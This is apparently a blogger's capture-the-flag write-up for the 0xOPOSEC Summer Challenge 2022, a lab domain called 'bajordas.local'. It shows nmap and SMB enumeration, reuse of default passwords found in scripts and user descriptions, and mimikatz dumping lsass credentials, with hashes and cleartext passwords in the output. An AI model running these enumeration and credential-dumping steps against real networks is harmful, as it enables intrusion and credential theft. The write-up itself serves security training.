0xOPOSEC Summer Challenge 2022

Aug 21, 2022    #ctf  

“Based in Porto, the 0xOPOSEC group was started by g33ks who are passionate about security. The meetup primary mission is to discuss and tackle upsurging security issues by leveraging the expertise and know-how of members of the group.”

First recon

Larapios Group Access

“Larapios Group states that they access to our core infrastructure! They claim that our security is lacking and have credentials to access our systems. Quickly, grab the access and gain access to one of the internal machines!”


$ nmap -sn 192.168.111.0/24

Nmap scan report for 192.168.111.26
Nmap scan report for 192.168.111.30
Nmap scan report for 192.168.111.31
Nmap scan report for 192.168.111.34
Nmap scan report for 192.168.111.36
Nmap scan report for 192.168.111.41
Nmap scan report for 192.168.111.42

$  nmap -O 192.168.111.0/24

Nmap scan report for 192.168.111.26
Host is up (0.035s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  	`
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

Nmap scan report for 192.168.111.30
Host is up (0.050s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap scan report for 192.168.111.31
Host is up (0.14s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for 192.168.111.34
Host is up (0.13s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for 192.168.111.36
Host is up (0.14s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap scan report for 192.168.111.41
Host is up (0.049s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap scan report for 192.168.111.42
Host is up (0.15s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

192.168.111.26:Windows
192.168.111.30:Windows
192.168.111.31:Linux
192.168.111.34:Linux
192.168.111.36:Windows
192.168.111.41:Windows
192.168.111.42:Windows

$ sudo nmap -n -sV --script "ldap* and not brute" 192.168.111.26
ldapServiceName: bajordas.local:win-dc01$@BAJORDAS.LOCAL

192.168.111.26
|   NetBIOS_Computer_Name: WIN-DC01
|   DNS_Computer_Name: WIN-DC01.bajordas.local

192.168.111.30
|   NetBIOS_Computer_Name: LAB-SHARE01
|   DNS_Computer_Name: LAB-SHARE01.bajordas.local

192.168.111.36
|   NetBIOS_Computer_Name: WIN-MGMT
|   DNS_Computer_Name: WIN-MGMT.bajordas.local

192.168.111.41
|   NetBIOS_Computer_Name: LAB-WIN6
|   DNS_Computer_Name: LAB-WIN6.bajordas.local

192.168.111.42
|   NetBIOS_Computer_Name: LAB-WIN7
|   DNS_Computer_Name: LAB-WIN7.bajordas.local

$ sudo nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-services.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse -p445 192.168.111.30

users1.ps1
provisionUsers.ps1

net user sedalfino.freitas Summer2022 /add

#new joiners
net user rogerio.marques Summer2022 /add /domain
net user rute.rodrigues Summer2022 /add /domain
net user rita.munoiz Summer2022 /add /domain
net user renato.recesso Summer2022 /add /domain
net user carolina.azevedo Summer2022 /add /domain
net user casemiro.silva Summer2022 /add /domain
net user jose.borges Summer2022 /add /domain
net user stefan.silva Summer2022 /add /domain
net user mary.christmas Summer2022 /add /domain
net user rodgers.john Summer2022 /add /domain

$ smbclient --no-pass -L //192.168.111.30/

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	Admins$         Disk
	Backups         Disk
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	Scripts         Disk
	Users           Disk

$ smbmap -u 'sedalfino.freitas' -p 'Summer2022' -d 'bajordas' -H 192.168.111.26

flag{oneSmallFootInTheEnterprise}

Second recon

Spread Your Hacks

“You got in? Noice!” “I heard they got a special machine for “Important People”, but they are not very security-focused and their automation is faulty. Can you access it?”


$ enum4linux -u "sedalfino.freitas" -p "Summer2022" -U 192.168.111.26`

index: 0x109a RID: 0x454 acb: 0x00000210 Account: big.boss Name: big boss Desc: Password: Money$$$ , make all managers the same password so I have access

flag{slowMovingRabbit}

First Windows Priv Esc

Big Dollar Spender

“You in? Nice! Can you pwn it? Maybe…”

“They installed some shady service and hammered things down to make it work. Maybe it can be exploited in your favour”


image

image

image

image

image

flag{GameOn!}

Third recon

Other Os Are People 2

“Larapios said there are some Linux machines loose in the environment and the System Administrator reuses their credentials 😩.”

“Can you access them?”


image

image

image

PS C:\Users\brun0\Desktop> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::trust /patch

mimikatz # sekurlsa::minidump C:\Users\brun0\AppData\Local\Temp\lsass.DMP
Switch to MINIDUMP : 'C:\Users\brun0\AppData\Local\Temp\lsass.DMP'

mimikatz # sekurlsa::logonpasswords
Opening : 'C:\Users\brun0\AppData\Local\Temp\lsass.DMP' file for minidump...

User Name         : rogerio.marques
Domain            : BAJORDAS
Logon Server      : WIN-DC01
Logon Time        : 8/23/2022 10:11:40 PM
SID               : S-1-5-21-705575555-4224697876-3339875019-1121
        msv :
         [00000003] Primary
         * Username : rogerio.marques
         * Domain   : BAJORDAS
         * NTLM     : a3d7d25665f1146b56192b850fd57a93
         * SHA1     : 78936dac0d808daf0f58313fa74666ef26b41e40
         * DPAPI    : 6ccf347c45ff34bd7211b7d286a25d23
        kerberos :
         * Username : rogerio.marques
         * Domain   : BAJORDAS.LOCAL
         * Password : Summer2022

Authentication Id : 0 ; 440390 (00000000:0006b846)
Session           : RemoteInteractive from 3
User Name         : Administrator
Domain            : LAB-WIN6
Logon Server      : LAB-WIN6
Logon Time        : 8/22/2022 10:52:50 PM
SID               : S-1-5-21-4139696292-2348944387-3964195370-500
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :
         [00000000]
         * Username : BAJORDAS\bacano.do.it
         * Domain   : BAJORDAS\bacano.do.it
         * Password : ViniVidiVici420!

flag{pinguinsRPeople2}

flag{OneMore4TheRoad}

First Linux Priv Esc

CAPtain Pwn!

“The System Administrator was having trouble getting scripts to run but found a way to always work!”

“Can you abuse the misconfiguration and pwn the machine?”


image

image

flag{HelloCAPtain}

Second Linux Priv Esc

SO Cute!

“Infrastructure logs show a weird behaviour on one binary left in the server but we couldn’t discover how can we abuse it to render the server to its knees. Everything is patched so there will be a challenge.”

“Can you analyze the server and look for ways to overcome its security?”

image

image

Second Windows Priv Esc

Stairway To Heaven

“Larapios Group states that they can completely compromise the machine and gain Administrator access through a misconfiguration!”


flag{wholeLegInTheEnterprise}

Conclusion

This was my come back to 0XOPOSEC Summer Challenge (last I did was in 2019) and to be fair I realy liked It because It was more realistic as we could exploit linux machines and windows machines and jump from one to another. A recommendation for the next one would be to have a more defined path because there was an handful of achines and the challenges asked for a flag but we had to find what machine should we exploit to get the flag to that specific challenge. Other than that was a realy fun one so next is the Christmas challenge!


Next: 0xOPOSEC 24/02/2022 Challenge